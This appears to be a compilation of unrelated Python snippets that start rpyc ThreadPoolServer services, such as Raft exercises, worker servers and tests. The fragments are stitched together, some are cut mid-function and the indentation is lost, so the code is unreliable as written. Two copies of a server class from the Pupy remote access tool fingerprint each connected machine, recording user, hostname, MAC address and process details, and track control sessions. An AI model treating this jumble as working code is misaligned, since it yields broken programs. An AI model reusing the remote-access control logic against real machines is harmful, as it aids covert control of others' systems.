def run_server():
print("Started.")
serverLog = logging.getLogger("Main.RPyCServer")
server = ThreadPoolServer(
service=DbInterfaceServer, port=12345, hostname="localhost", logger=serverLog, nbThreads=6
)
server.start()
class Test_ThreadPoolServer(Test_ThreadedServer):
def setUp(self):
self.server = ThreadPoolServer(SlaveService,
port=18878,
auto_register=False)
self.server.logger.quiet = False
self.server._start_in_thread()
def _remote():
""" Code to execute on forked process. """
service = _create_srpo_service(obj, name, registry_path=registry_path)
# set new process group
protocol = dict(allow_all_attrs=True)
kwargs = dict(
hostname="localhost",
nbThreads=server_threads,
protocol_config=protocol,
port=port,
)
server = ThreadPoolServer(service(), **kwargs)
sql_kwargs = dict(
filename=server_registry.filename,
tablename=server_registry.tablename,
flag="c",
)
# register new server
registery = SqliteDict(**sql_kwargs)
registery[name] = (server.host, server.port, os.getpid())
registery.commit()
# get a new new view of registry, make sure name is there
assert name in SqliteDict(**sql_kwargs)
service._server = server
server.start()
class AxonController(object):
def __init__(self):
self.axon_port = conf.AXON_PORT
self.service = AxonService()
self.protocol_config = self.service.RPYC_PROTOCOL_CONFIG
self.logger = logging.getLogger(__name__)
self.logger.setLevel(logging.WARN)
self.axon_service = ThreadPoolServer(
self.service,
port=self.axon_port,
reuse_addr=True,
protocol_config=self.protocol_config,
logger=self.logger, nbThreads=50)
def start(self):
try:
self.service.exposed_traffic.start_servers()
self.service.exposed_traffic.start_clients()
except Exception:
self.logger.exception("Ooops!! Exception during Traffic Start")
self.axon_service.start()
def stop(self):
try:
self.service.exposed_traffic.stop_clients()
self.service.exposed_traffic.stop_servers()
except Exception:
self.logger.exception("Ooops!! Exception during Traffic Stop")
self.axon_service.close()
def run_worker_process(self):
setup_logger(self.quiet, log)
if self.registry_type == "UDP":
if self.registry_host is None:
self.registry_host = "255.255.255.255"
self.registrar = UDPRegistryClient(ip=self.registry_host,
port=self.registry_port)
else:
if self.registry_host is None:
raise ValueError(
"With TCP registry, you must specify --registry-host")
self.registrar = TCPRegistryClient(ip=self.registry_host,
port=self.registry_port)
t = ThreadPoolServer(ServiceEnvelope.SERVICE_CLASS,
hostname=self.host,
port=self.port,
reuse_addr=True,
ipv6=self.ipv6,
registrar=self.registrar,
auto_register=self.auto_register,
nbThreads=self.max_client_count,
requestBatchSize=self.max_requests_per_client,
protocol_config={
'exposed_prefix': '',
'log_exceptions': True
})
t.start()
def run_server():
print("Started.")
serverLog = logging.getLogger("Main.RPyCServer")
server = ThreadPoolServer(service=DbInterfaceServer,
port=12345,
hostname='localhost',
logger=serverLog,
nbThreads=6)
server.start()
def __init__(self, *args, **kwargs):
if not "stream" in kwargs:
raise ValueError("missing stream_class argument")
if not "transport" in kwargs:
raise ValueError("missing transport argument")
self.stream_class=kwargs["stream"]
self.transport_class=kwargs["transport"]
del kwargs["stream"]
del kwargs["transport"]
ThreadPoolServer.__init__(self, *args, **kwargs)
def __init__(self):
self.axon_port = conf.AXON_PORT
self.service = AxonService()
self.protocol_config = self.service.RPYC_PROTOCOL_CONFIG
self.logger = logging.getLogger(__name__)
self.logger.setLevel(logging.WARN)
self.axon_service = ThreadPoolServer(
self.service,
port=self.axon_port,
reuse_addr=True,
protocol_config=self.protocol_config,
logger=self.logger, nbThreads=50)
def __init__(self, *args, **kwargs):
if not "stream" in kwargs:
raise ValueError("missing stream_class argument")
if not "transport" in kwargs:
raise ValueError("missing transport argument")
self.stream_class = kwargs["stream"]
self.transport_class = kwargs["transport"]
self.transport_kwargs = kwargs["transport_kwargs"]
del kwargs["stream"]
del kwargs["transport"]
del kwargs["transport_kwargs"]
ThreadPoolServer.__init__(self, *args, **kwargs)
def main():
# arguments
parser = argparse.ArgumentParser()
parser.add_argument('--pid',
action='store',
dest='pid',
default='/var/tmp/harvester_rpc.pid',
help='pid filename')
parser.add_argument('--port',
dest='port',
type=int,
default=18861,
help='the TCP port to bind to')
parser.add_argument('--backlog',
dest='backlog',
type=int,
default=10,
help='backlog for the port')
parser.add_argument('--stdout',
action='store',
dest='stdout',
default='/var/tmp/harvester_rpc.out',
help='stdout filename')
parser.add_argument('--stderr',
action='store',
dest='stderr',
default='/var/tmp/harvester_rpc.err',
help='stderr filename')
options = parser.parse_args()
# logger
_logger = logging.getLogger('rpc_bot')
setupLogger(_logger, pid=os.getpid())
# make daemon context
outfile = open(options.stdout, 'a+')
errfile = open(options.stderr, 'a+')
dc = daemon.DaemonContext(pidfile=daemon.pidfile.PIDLockFile(options.pid),
stdout=outfile,
stderr=errfile)
# run thread server
with dc:
from rpyc.utils.server import ThreadPoolServer
t = ThreadPoolServer(RpcBot,
port=options.port,
backlog=options.backlog,
logger=_logger,
protocol_config={"allow_all_attrs": True})
t.start()
# finalize
outfile.close()
errfile.close()
def run(self):
self.authenticator = SSLAuthenticator(
self.config.get("pupyd",
"keyfile").replace("\\",
os.sep).replace("/", os.sep),
self.config.get("pupyd",
"certfile").replace("\\",
os.sep).replace("/", os.sep),
ciphers="SHA256+AES256:SHA1+AES256:@STRENGTH")
self.server = ThreadPoolServer(PupyService.PupyService,
port=self.port,
hostname=self.address,
authenticator=self.authenticator)
self.server.start()
def run_training(head_host, head_port, debug_out=None):
"""Main worker training routine (creates the Seq2SeqTrainingService and connects it to the
head.
@param head_host: hostname of the head
@param head_port: head port number
@param debug_out: path to the debugging output file (debug output discarded if None)
"""
# setup debugging output, if applicable
if debug_out is not None:
set_debug_stream(file_stream(debug_out, mode='w'))
# start the server (in the background)
log_info('Creating training server...')
server = ThreadPoolServer(service=Seq2SeqTrainingService, nbThreads=1)
server_thread = Thread(target=server.start)
server_thread.start()
my_host = socket.getfqdn()
log_info('Worker server created at %s:%d. Connecting to head at %s:%d...' %
(my_host, server.port, head_host, head_port))
# notify main about this server
conn = connect(head_host, head_port, config={'allow_pickle': True})
conn.root.register_worker(my_host, server.port)
conn.close()
log_info('Worker is registered with the head.')
# now serve until we're killed (the server thread will continue to run)
server_thread.join()
def _init_server(self):
"""Initializes a server that registers new workers."""
registrar_class, ranker_dump_path = get_worker_registrar_for(self)
n_tries = 0
self.server = None
last_error = None
while self.server is None and n_tries < 10:
try:
n_tries += 1
self.server = ThreadPoolServer(service=registrar_class,
nbThreads=1,
port=self.port)
except socket.error as e:
log_warn('Port %d in use, trying to use a higher port...' %
self.port)
self.port += 1
last_error = e
if self.server is None:
if last_error is not None:
raise last_error
raise Exception('Could not initialize server')
self.services = set()
self.free_services = deque()
self.pending_requests = set()
self.jobs = []
self.server_thread = Thread(target=self.server.start)
self.server_thread.setDaemon(True)
self.server_thread.start()
self.ranker_dump_path = ranker_dump_path
def main():
x = [
ThreadPoolServer(raftnode.RaftNode('config.txt', 0), port=5001),
ThreadPoolServer(raftnode.RaftNode('config.txt', 1), port=5002),
ThreadPoolServer(raftnode.RaftNode('config.txt', 2), port=5003),
ThreadPoolServer(raftnode.RaftNode('config.txt', 3), port=5004),
ThreadPoolServer(raftnode.RaftNode('config.txt', 4), port=5005),
]
server_list = []
for server in x:
thread1 = threading.Thread(target=server.start)
server_list.append(thread1)
thread1.start()
# test 1
while True:
y = int(input("Leader ID: "))
print(str(rpyc.connect('localhost', 5000 + y).root.is_leader()))
def start_server(service, thread=True, host='0.0.0.0', port=18861):
from rpyc.utils.server import ThreadedServer, ThreadPoolServer
server = ThreadPoolServer(
service,
hostname=host,
port=port,
reuse_addr=True,
auto_register=True,
)
if thread:
import threading
server_thread = threading.Thread(target=server.start)
server_thread.daemon = True
server_thread.start()
return (host, port)
else:
server.start()
return (host, port)
def start_service(service_class, port=None):
"""
Start an rpyc service given by the provided class. Port can be overridden.
:param rpyc.Service service_class: a child class of :class:`rpyc.Service`.
:param int port: the port the service should listen for requests on. If it
isn't provided by the caller, we we get a value from
:class:`combtest.config`
:return: a handle to the resulting :class:`ThreadedServer`.
"""
# rpyc uses logging, and we want to dump its logging somehow on errors
_ensure_stderr_handler()
if port is None:
port = get_service_port()
else:
set_service_port(port)
from rpyc.utils.server import ThreadPoolServer
t = ThreadPoolServer(service_class, port=port)
t.start()
return t
class MetadataStore(rpyc.Service):
"""
Initialize the class using the config file provided and also initialize
any datastructures you may need.
"""
def __init__(self, config):
pass
'''
ModifyFile(f,v,hl): Modifies file f so that it now contains the
contents refered to by the hashlist hl. The version provided, v, must
be exactly one larger than the current version that the MetadataStore
maintains.
As per rpyc syntax, adding the prefix 'exposed_' will expose this
method as an RPC call
'''
def exposed_modify_file(self, filename, version, hashlist):
'''
DeleteFile(f,v): Deletes file f. Like ModifyFile(), the provided
version number v must be one bigger than the most up-date-date version.
As per rpyc syntax, adding the prefix 'exposed_' will expose this
method as an RPC call
'''
def exposed_delete_file(self, filename, version):
pass
'''
(v,hl) = ReadFile(f): Reads the file with filename f, returning the
most up-to-date version number v, and the corresponding hashlist hl. If
the file does not exist, v will be 0.
As per rpyc syntax, adding the prefix 'exposed_' will expose this
method as an RPC call
'''
def exposed_read_file(self, filename):
pass
if __name__ == '__main__':
from rpyc.utils.server import ThreadPoolServer
server = ThreadPoolServer(MetadataStore(sys.argv[1]), port = 6000)
server.start()
def run_worker(head_host, head_port, debug_out=None):
# setup debugging output, if applicable
if debug_out is not None:
set_debug_stream(file_stream(debug_out, mode='w'))
# start the server (in the background)
log_info('Creating worker server...')
server = ThreadPoolServer(service=RankerTrainingService, nbThreads=1)
server_thread = Thread(target=server.start)
server_thread.start()
my_host = socket.getfqdn()
log_info('Worker server created at %s:%d. Connecting to head at %s:%d...' %
(my_host, server.port, head_host, head_port))
# notify main about this server
conn = connect(head_host, head_port, config={'allow_pickle': True})
conn.root.register_worker(my_host, server.port)
conn.close()
log_info('Worker is registered with the head.')
# now serve until we're killed (the server thread will continue to run)
server_thread.join()
self.active_leader = leaderId
# notify of valid leader
return (True, self.term)
# run the program
if __name__ == '__main__':
# ensure the number of args supplied is correct
if (len(sys.argv) != 4):
print("ERROR: Invalid number of params - Required : 4 - Given : " +
str(len(sys.argv)))
print("\tFormat: python3 raftnode.py config_file, node_id, port")
exit(-1)
# create an instance of our class
node = RaftNode(config=sys.argv[1],
node_id=int(sys.argv[2]),
port=int(sys.argv[3]))
print('Attempting to run server')
# start a thread to run the synchronization of our server
t = threading.Thread(target=run_asynch, args=(node, ))
t.start()
# start the threadpoolserver which waits to accept incoming rpc
logging.debug('Server running')
server = ThreadPoolServer(node, port=int(sys.argv[3]))
server.start()
#self.logfile.seek(0)
# self.logfile = open('./tmp/log' + str(self.curNode) + '.txt', 'w')
# self.logfile.write('Term: {0}\nVotedFor: {1}'.format(self.currentTerm, self.votedFor))
# self.logfile.flush()
threading.Thread(target = self.updateLogFile)
return True
else:
return False
elif term < self.currentTerm:
return False
'''
x = is_leader(): returns True or False, depending on whether
this node is a leader
As per rpyc syntax, adding the prefix 'exposed_' will expose this
method as an RPC call
CHANGE THIS METHOD TO RETURN THE APPROPRIATE RESPONSE
'''
def exposed_is_leader(self):
return self.currentLeader == self.curNode
if __name__ == '__main__':
from rpyc.utils.server import ThreadPoolServer
nodeNum = sys.argv[2]
port = sys.argv[3]
server = ThreadPoolServer(RaftNode(sys.argv[1], nodeNum, port), port = int(port))
server.start()
def __init__(self, *args, **kwargs):
ThreadPoolServer.__init__(self, *args, **kwargs)
'''
def exposed_is_leader(self):
return self.leader_id == self.id
def read_config(self, file):
config_dict = {}
with open(file) as f:
N = int(f.readline().split()[-1])
for i in range(N):
line = f.readline()
id, ip, port_num = line.split(":")
id = id[4:]
ip = ip.strip()
port_num = int(port_num.strip())
config_dict[id] = (ip, port_num)
return config_dict
def exposed_say_hi(self):
# flush_print(f"hello my name is {self.id}")
return
if __name__ == '__main__':
from rpyc.utils.server import ThreadPoolServer
print("flag 1", flush=True)
server = ThreadPoolServer(RaftNode(argv.config, argv.node_id),
port=int(argv.port))
server.start()
print("flag 2", flush=True)
if term == self.term and self.voteFor == name:
return self.term, True
if term > self.term:
self.convert_to_follower(term, False)
with self._lock:
self.voteFor = name
self.persist(self.to_string())
return self.term, True
'''
x = is_leader(): returns True or False, depending on whether
this node is a leader
As per rpyc syntax, addi
ng the prefix 'exposed_' will expose this
method as an RPC call
CHANGE THIS METHOD TO RETURN THE APPROPRIATE RESPONSE
'''
def exposed_is_leader(self):
return self.state == 2
if __name__ == '__main__':
from rpyc.utils.server import ThreadPoolServer
server = ThreadPoolServer(RaftNode(sys.argv[1], sys.argv[2]), port = int(sys.argv[3]))
server.start()
# python raftnode.py config.txt 0 5001
if not res:
res="no response from planemo test...."
allres.append(res)
else:
with open(planemo_log, 'w') as replog:
replog.write(res)
res = self.run_cmd(f"tar -cvz -f {ptooldir}/{toolname}_tested.toolshed.gz --directory {pwork} {toolname}")
allres.append(res)
res = self.run_cmd(f"cp -r {ptooldir} /galaxy-central/tools/TFtools/")
allres.append(res)
for fname in os.listdir(prepdir):
print('fname', fname, collection)
if fname.endswith('.json'): # if this is included, the html disappears. Go figure.
continue
res = self.run_cmd(f"cp {prepdir}/{fname} {collection}/{fname}")
self.run_rsync(f"{ptooldir}/{toolname}_tested.toolshed.gz", toolwork)
self.run_rsync(f"{ptooldir}/{toolname}_tested.toolshed.gz", galtooldir)
res = self.run_cmd(f"chown -R galaxy:galaxy {pwork} {pworkrep} {galtooldir} {collection}")
allres.append(res)
return '\n'.join([x for x in allres if len(x) > 0])
if __name__ == "__main__":
logger = logging.getLogger()
logging.basicConfig(level='INFO')
t = ThreadPoolServer(planemo_run, port=9999, logger=logger, nbThreads=1)
# single thread experiment to see if planemo/conda behave better. Many condas spoil the conga.
t.start()
def setUp(self):
self.server = ThreadPoolServer(SlaveService, port=18878, auto_register=False)
self.server.logger.quiet = False
self.server._start_in_thread()
class PupyServer(threading.Thread):
def __init__(self, configFile="pupy.conf"):
super(PupyServer, self).__init__()
self.daemon=True
self.server=None
self.authenticator=None
self.clients=[]
self.jobs={}
self.jobs_id=1
self.clients_lock=threading.Lock()
self.current_id=1
self.config = configparser.ConfigParser()
self.config.read(configFile)
self.port=self.config.getint("pupyd","port")
self.address=self.config.get("pupyd","address")
self.handler=None
def register_handler(self, instance):
""" register the handler instance, typically a PupyCmd, and PupyWeb in the futur"""
self.handler=instance
def add_client(self, conn):
with self.clients_lock:
conn.execute(textwrap.dedent(
"""
import platform
import getpass
import uuid
import sys
import os
import locale
os_encoding = locale.getpreferredencoding() or "utf8"
def get_uuid():
user=None
node=None
plat=None
release=None
version=None
machine=None
macaddr=None
pid=None
proc_arch=None
proc_path=sys.executable
try:
user=getpass.getuser().decode(encoding=os_encoding).encode("utf8")
except Exception:
pass
try:
node=platform.node().decode(encoding=os_encoding).encode("utf8")
except Exception:
pass
try:
version=platform.platform()
except Exception:
pass
try:
plat=platform.system()
except Exception:
pass
try:
release=platform.release()
except Exception:
pass
try:
version=platform.version()
except Exception:
pass
try:
machine=platform.machine()
except Exception:
pass
try:
pid=os.getpid()
except Exception:
pass
try:
proc_arch=platform.architecture()[0]
except Exception:
pass
try:
macaddr=uuid.getnode()
macaddr=':'.join(("%012X" % macaddr)[i:i+2] for i in range(0, 12, 2))
except Exception:
pass
return (user, node, plat, release, version, machine, macaddr, pid, proc_arch, proc_path)
"""))
l=conn.namespace["get_uuid"]()
self.clients.append(PupyClient.PupyClient({
"id": self.current_id,
"conn" : conn,
"user" : l[0],
"hostname" : l[1],
"platform" : l[2],
"release" : l[3],
"version" : l[4],
"os_arch" : l[5],
"proc_arch" : l[8],
"exec_path" : l[9],
"macaddr" : l[6],
"pid" : l[7],
"address" : conn._conn._config['connid'].split(':')[0],
}, self))
if self.handler:
addr = conn.modules['pupy'].get_connect_back_host()
server_ip, server_port = addr.rsplit(':', 1)
client_ip, client_port = conn._conn._config['connid'].split(':')
self.handler.display_srvinfo("Session {} opened ({}:{} <- {}:{})".format(self.current_id, server_ip, server_port, client_ip, client_port))
self.current_id += 1
def remove_client(self, client):
with self.clients_lock:
for i,c in enumerate(self.clients):
if c.conn is client:
if self.handler:
self.handler.display_srvinfo('Session {} closed'.format(self.clients[i].desc['id']))
del self.clients[i]
break
def get_clients(self, search_criteria):
""" return a list of clients corresponding to the search criteria. ex: platform:*win* """
#if the criteria is a simple id we return the good client
try:
index=int(search_criteria)
for c in self.clients:
if int(c.desc["id"])==index:
return [c]
return []
except Exception:
pass
l=set([])
if search_criteria=="*":
return self.clients
for c in self.clients:
take=False
for sc in search_criteria.split():
tab=sc.split(":",1)
if len(tab)==2 and tab[0] in [x for x in c.desc.iterkeys()]:#if the field is specified we search for the value in this field
take=True
if not tab[1].lower() in str(c.desc[tab[0]]).lower():
take=False
break
elif len(tab)!=2:#if there is no field specified we search in every field for at least one match
take=False
for k,v in c.desc.iteritems():
if type(v) is unicode or type(v) is str:
if tab[0].lower() in v.decode('utf8').lower():
take=True
break
else:
if tab[0].lower() in str(v).decode('utf8').lower():
take=True
break
if not take:
break
if take:
l.add(c)
return list(l)
def get_clients_list(self):
return self.clients
def list_modules(self):
l=[]
for loader, module_name, is_pkg in pkgutil.iter_modules(modules.__path__):
module=self.get_module(module_name)
l.append((module_name,module.__doc__))
return l
def get_module(self, name):
script_found=False
for loader, module_name, is_pkg in pkgutil.iter_modules(modules.__path__):
if module_name==name:
script_found=True
module=loader.find_module(module_name).load_module(module_name)
class_name=None
if hasattr(module,"__class_name__"):
class_name=module.__class_name__
if not hasattr(module,class_name):
logging.error("script %s has a class_name=\"%s\" global variable defined but this class does not exists in the script !"%(script_name,class_name))
if not class_name:
#TODO automatically search the class name in the file
pass
return getattr(module,class_name)
def module_parse_args(self, module_name, args):
""" This method is used by the PupyCmd class to verify validity of arguments passed to a specific module """
module=self.get_module(module_name)
ps=module(None,None)
return ps.arg_parser.parse_args(args)
def del_job(self, job_id):
if job_id is not None:
job_id=int(job_id)
if job_id in self.jobs:
del self.jobs[job_id]
def add_job(self, job):
job.id=self.jobs_id
self.jobs[self.jobs_id]=job
self.jobs_id+=1
def get_job(self, job_id):
try:
job_id=int(job_id)
except ValueError:
raise PupyModuleError("job id must be an integer !")
if job_id not in self.jobs:
raise PupyModuleError("%s: no such job !"%job_id)
return self.jobs[job_id]
def run(self):
self.authenticator = SSLAuthenticator(self.config.get("pupyd","keyfile").replace("\\",os.sep).replace("/",os.sep), self.config.get("pupyd","certfile").replace("\\",os.sep).replace("/",os.sep), ciphers="SHA256+AES256:SHA1+AES256:@STRENGTH")
self.server = ThreadPoolServer(PupyService.PupyService, port = self.port, hostname=self.address, authenticator=self.authenticator)
self.server.start()
def run(self) :
#To-Do: Might be meaningful to have debug info for start
logging.debug("Invoking main thread.")
from rpyc.utils.server import ThreadPoolServer
thmain = ThreadPoolServer(OSSRpc, port = 20200, nbThreads = 100)
thmain.start()
self.votedFor=request_id
self.hasvoted==True
return 1
else:
return 0
def exposed_rec_heartbeats(self, heartbeat_id):
self.last_update = time.time()
'''
x = is_leader(): returns True or False, depending on whether
this node is a leader
As per rpyc syntax, adding the prefix 'exposed_' will expose this
method as an RPC call
CHANGE THIS METHOD TO RETURN THE APPROPRIATE RESPONSE
'''
def exposed_is_leader(self):
return False
if __name__ == '__main__':
from rpyc.utils.server import ThreadPoolServer
print (sys.argv[3])
port=int(sys.argv[3])
server = ThreadPoolServer(RaftNode(sys.argv[1]), port=port )
# print ('i', server)
server.start()
nodeNumStr = nodeNumLine[2:]
nodeNumStr = nodeNumStr.strip()
nodeNum = int(nodeNumStr)
else:
print("invalid config file- bad initial node count line: %s" %
nodeNumLine)
raise Exception("bad config file")
if currNodeIndex < nodeNum:
nodeDescriptions = configFile.readlines()
if len(nodeDescriptions) == nodeNum:
currNodeLine = nodeDescriptions[currNodeIndex]
nodeTerms = currNodeLine.split(":")
nodePortStr = nodeTerms[2].strip()
currNodePort = int(nodePortStr)
else:
print(
"invalid config file- wrong number of lines of node descriptions %s"
% nodeNumLine)
raise Exception("bad config file")
else:
print(
"unacceptably high index %d for node system which only has %d nodes"
% (currNodeIndex, nodeNum))
raise Exception("bad node index")
if currNodePort > 0:
server = ThreadPoolServer(RaftNode(configFileName, currNodeIndex),
port=currNodePort)
server.start()
self.queryTimer.cancel()
self.queryTimer = None
if self.leaderHost == "":
print("no server connection")
return
#print("connecting", self.leaderHost, self.leaderPort)
queryStr = 'SELECT RoomID, Type, Floor from RoomInfo where Type = 4'
args = (self.leaderHost, self.leaderPort, queryStr)
t = threading.Thread(target=self.connectAndQuery, args=args)
t.start()
def insert(self):
if self.bookTimer != None:
self.bookTimer.cancel()
self.bookTimer = None
if self.leaderHost == "":
print("no server connection")
return
#print("connecting", self.leaderHost, self.leaderPort)
inserStr = f'INSERT INTO RoomInfo (RoomID,Type,Floor) VALUES ({self.roomStartId+1}, 4, 3)'
self.roomStartId += 1
args = (self.leaderHost, self.leaderPort, inserStr)
t = threading.Thread(target=self.connectAndInsert, args=args)
t.start()
if __name__ == '__main__':
from rpyc.utils.server import ThreadPoolServer
client = ThreadPoolServer(Client(), port=4999)
client.start()
PRINT_VERB.append("stats")
PRINT_VERB.append("xstats")
PRINT_VERB.append("master")
[PRINT_VERB.append(b) for b in BACKBONES]
printtime(("Threaded heartbeat server listening on port %d\n" "press Ctrl-C to stop\n") % RPC_PORT)
FINISHED_EVENT.set()
printer = Printer(goOnEvent=FINISHED_EVENT)
printer.start()
runner = Runner()
runner.start()
try:
t = ThreadPoolServer(MasterService, port=RPC_PORT)
t.start()
except Exception, e:
printtime("%s" % e)
FINISHED_EVENT.clear()
printtime("Master_Server killing all clients")
for host in NODE_WATCHERS:
NODE_WATCHERS[host].clearFinish()
NODE_WATCHERS[host].clearGoOn()
while len(NODE_WATCHERS):
time.sleep(1)
printtime("Exiting, please wait...")
printer.join()
},
'/static': {
'tools.sessions.on': False,
'tools.auth_basic.on': False,
'tools.auth_digest.on': False,
'tools.auth.on': False,
'tools.staticdir.on': True,
'tools.staticdir.dir': TWISTER_PATH + '/server/static'
}
}
while 1:
# Diff RPyc port
RPYC_PORT = SERVER_PORT + 10
try:
RPYC_SERVER = ThreadPoolServer(CeRpycService, port=RPYC_PORT, protocol_config=CONFIG)
RPYC_SERVER.logger.setLevel(30)
except Exception:
logCritical('Twister Server: Cannot launch the RPyc server on port `{}`!'.format(RPYC_PORT))
exit(1)
# Project manager does everything
PROJ = Project()
PROJ.rsrv = RPYC_SERVER
# CE is the XML-RPC interface
CE = CeXmlRpc(PROJ)
def close():
""" Close server. """
RPYC_SERVER.close()
logDebug('---- RPYC CLOSED')
self.hashlist[h] = block
# print(self.hashlist)
"""
b = get_block(h) : Retrieves a block indexed by hash value h
As per rpyc syntax, adding the prefix 'exposed_' will expose this
method as an RPC call
"""
def exposed_get_block(self, h):
return self.hashlist[h]
"""
True/False = has_block(h) : Signals whether block indexed by h exists
in the BlockStore service
As per rpyc syntax, adding the prefix 'exposed_' will expose this
method as an RPC call
"""
def exposed_has_block(self, h):
return bool(self.hashlist.get(h))
if __name__ == '__main__':
from rpyc.utils.server import ThreadPoolServer
port = int(sys.argv[1])
server = ThreadPoolServer(BlockStore(), port=port)
server.start()
PRINT_VERB.append('xstats')
PRINT_VERB.append('master')
[PRINT_VERB.append(b) for b in BACKBONES]
printtime(('Threaded heartbeat server listening on port %d\n'
'press Ctrl-C to stop\n') % RPC_PORT)
FINISHED_EVENT.set()
printer = Printer(goOnEvent = FINISHED_EVENT)
printer.start()
runner = Runner()
runner.start()
try:
t = ThreadPoolServer(MasterService, port = RPC_PORT)
t.start()
except Exception, e:
printtime('%s' % e)
FINISHED_EVENT.clear()
printtime('Master_Server killing all clients')
for host in NODE_WATCHERS:
NODE_WATCHERS[host].clearFinish()
NODE_WATCHERS[host].clearGoOn()
while len(NODE_WATCHERS): time.sleep(1)
printtime('Exiting, please wait...')
printer.join()
def run(self):
self.authenticator = SSLAuthenticator(self.config.get("pupyd","keyfile").replace("\\",os.sep).replace("/",os.sep), self.config.get("pupyd","certfile").replace("\\",os.sep).replace("/",os.sep), ciphers="SHA256+AES256:SHA1+AES256:@STRENGTH")
self.server = ThreadPoolServer(PupyService.PupyService, port = self.port, hostname=self.address, authenticator=self.authenticator)
self.server.start()
class PupyServer(threading.Thread):
def __init__(self, configFile="pupy.conf"):
super(PupyServer, self).__init__()
self.daemon=True
self.server=None
self.authenticator=None
self.clients=[]
self.jobs={}
self.jobs_id=1
self.clients_lock=threading.Lock()
self.current_id=1
self.config = configparser.ConfigParser()
self.config.read(configFile)
self.port=self.config.getint("pupyd","port")
self.address=self.config.get("pupyd","address")
self.handler=None
def register_handler(self, instance):
""" register the handler instance, typically a PupyCmd, and PupyWeb in the futur"""
self.handler=instance
def add_client(self, conn):
with self.clients_lock:
conn.execute(textwrap.dedent(
"""
import platform
import getpass
import uuid
import sys
import os
def get_uuid():
user=None
node=None
plat=None
release=None
version=None
machine=None
macaddr=None
pid=None
proc_arch=None
proc_path=sys.executable
try:
user=getpass.getuser()
except Exception:
pass
try:
node=platform.node()
except Exception:
pass
try:
version=platform.platform()
except Exception:
pass
try:
plat=platform.system()
except Exception:
pass
try:
release=platform.release()
except Exception:
pass
try:
version=platform.version()
except Exception:
pass
try:
machine=platform.machine()
except Exception:
pass
try:
pid=os.getpid()
except Exception:
pass
try:
proc_arch=platform.architecture()[0]
except Exception:
pass
try:
macaddr=uuid.getnode()
macaddr=':'.join(("%012X" % macaddr)[i:i+2] for i in range(0, 12, 2))
except Exception:
pass
return (user, node, plat, release, version, machine, macaddr, pid, proc_arch, proc_path)
"""))
l=conn.namespace["get_uuid"]()
self.clients.append(PupyClient.PupyClient({
"id": self.current_id,
"conn" : conn,
"user" : l[0],
"hostname" : l[1],
"platform" : l[2],
"release" : l[3],
"version" : l[4],
"os_arch" : l[5],
"proc_arch" : l[8],
"exec_path" : l[9],
"macaddr" : l[6],
"pid" : l[7],
"address" : conn._conn._config['connid'].split(':')[0],
}, self))
if self.handler:
addr = conn.modules['pupy'].get_connect_back_host()
server_ip, server_port = addr.rsplit(':', 1)
client_ip, client_port = conn._conn._config['connid'].split(':')
self.handler.display_srvinfo("Session {} opened ({}:{} <- {}:{})".format(self.current_id, server_ip, server_port, client_ip, client_port))
self.current_id += 1
def remove_client(self, client):
with self.clients_lock:
for i,c in enumerate(self.clients):
if c.conn is client:
if self.handler:
self.handler.display_srvinfo('Session {} closed'.format(self.clients[i].desc['id']))
del self.clients[i]
break
def get_clients(self, search_criteria):
""" return a list of clients corresponding to the search criteria. ex: platform:*win* """
#if the criteria is a simple id we return the good client
try:
index=int(search_criteria)
for c in self.clients:
if int(c.desc["id"])==index:
return [c]
return []
except Exception:
pass
l=set([])
if search_criteria=="*":
return self.clients
for c in self.clients:
take=False
for sc in search_criteria.split():
tab=sc.split(":",1)
if len(tab)==2 and tab[0] in [x for x in c.desc.iterkeys()]:#if the field is specified we search for the value in this field
take=True
if not tab[1].lower() in str(c.desc[tab[0]]).lower():
take=False
break
elif len(tab)!=2:#if there is no field specified we search in every field for at least one match
take=False
for k,v in c.desc.iteritems():
if type(v) is unicode or type(v) is str:
if tab[0].lower() in v.decode('utf8').lower():
take=True
break
else:
if tab[0].lower() in str(v).decode('utf8').lower():
take=True
break
if not take:
break
if take:
l.add(c)
return list(l)
def get_clients_list(self):
return self.clients
def list_modules(self):
l=[]
for loader, module_name, is_pkg in pkgutil.iter_modules(modules.__path__):
module=self.get_module(module_name)
l.append((module_name,module.__doc__))
return l
def get_module(self, name):
script_found=False
for loader, module_name, is_pkg in pkgutil.iter_modules(modules.__path__):
if module_name==name:
script_found=True
module=loader.find_module(module_name).load_module(module_name)
class_name=None
if hasattr(module,"__class_name__"):
class_name=module.__class_name__
if not hasattr(module,class_name):
logging.error("script %s has a class_name=\"%s\" global variable defined but this class does not exists in the script !"%(script_name,class_name))
if not class_name:
#TODO automatically search the class name in the file
pass
return getattr(module,class_name)
def module_parse_args(self, module_name, args):
""" This method is used by the PupyCmd class to verify validity of arguments passed to a specific module """
module=self.get_module(module_name)
ps=module(None,None)
return ps.arg_parser.parse_args(args)
def del_job(self, job_id):
if job_id is not None:
job_id=int(job_id)
if job_id in self.jobs:
del self.jobs[job_id]
def add_job(self, job):
job.id=self.jobs_id
self.jobs[self.jobs_id]=job
self.jobs_id+=1
def get_job(self, job_id):
try:
job_id=int(job_id)
except ValueError:
raise PupyModuleError("job id must be an integer !")
if job_id not in self.jobs:
raise PupyModuleError("%s: no such job !"%job_id)
return self.jobs[job_id]
def run(self):
self.authenticator = SSLAuthenticator(self.config.get("pupyd","keyfile").replace("\\",os.sep).replace("/",os.sep), self.config.get("pupyd","certfile").replace("\\",os.sep).replace("/",os.sep), ciphers="SHA256+AES256:SHA1+AES256:@STRENGTH")
self.server = ThreadPoolServer(PupyService.PupyService, port = self.port, hostname=self.address, authenticator=self.authenticator)
self.server.start()
else:
return version, str(self._filename_to_v_bl[f][1])
else:
# print('version:', 0)
print('version:', 0)
return 0, str([])
def eprint(*args, **kwargs):
"""
Use eprint to print debug messages to stderr
Example:
- self.eprint("This is a debug message")
:param args:
:param kwargs:
:return:
"""
print(*args, file=sys.stderr, **kwargs)
if __name__ == '__main__':
from rpyc.utils.server import ThreadPoolServer
# rpyc.core.vinegar._generic_exceptions_cache['ErrorResponse'] = ErrorResponse
config_filename = sys.argv[1]
with open(config_filename, 'r') as config_f:
port = int(config_f.readlines()[1].split(':')[2].strip())
server = ThreadPoolServer(MetadataStore(sys.argv[1]), port=port)
server.start()
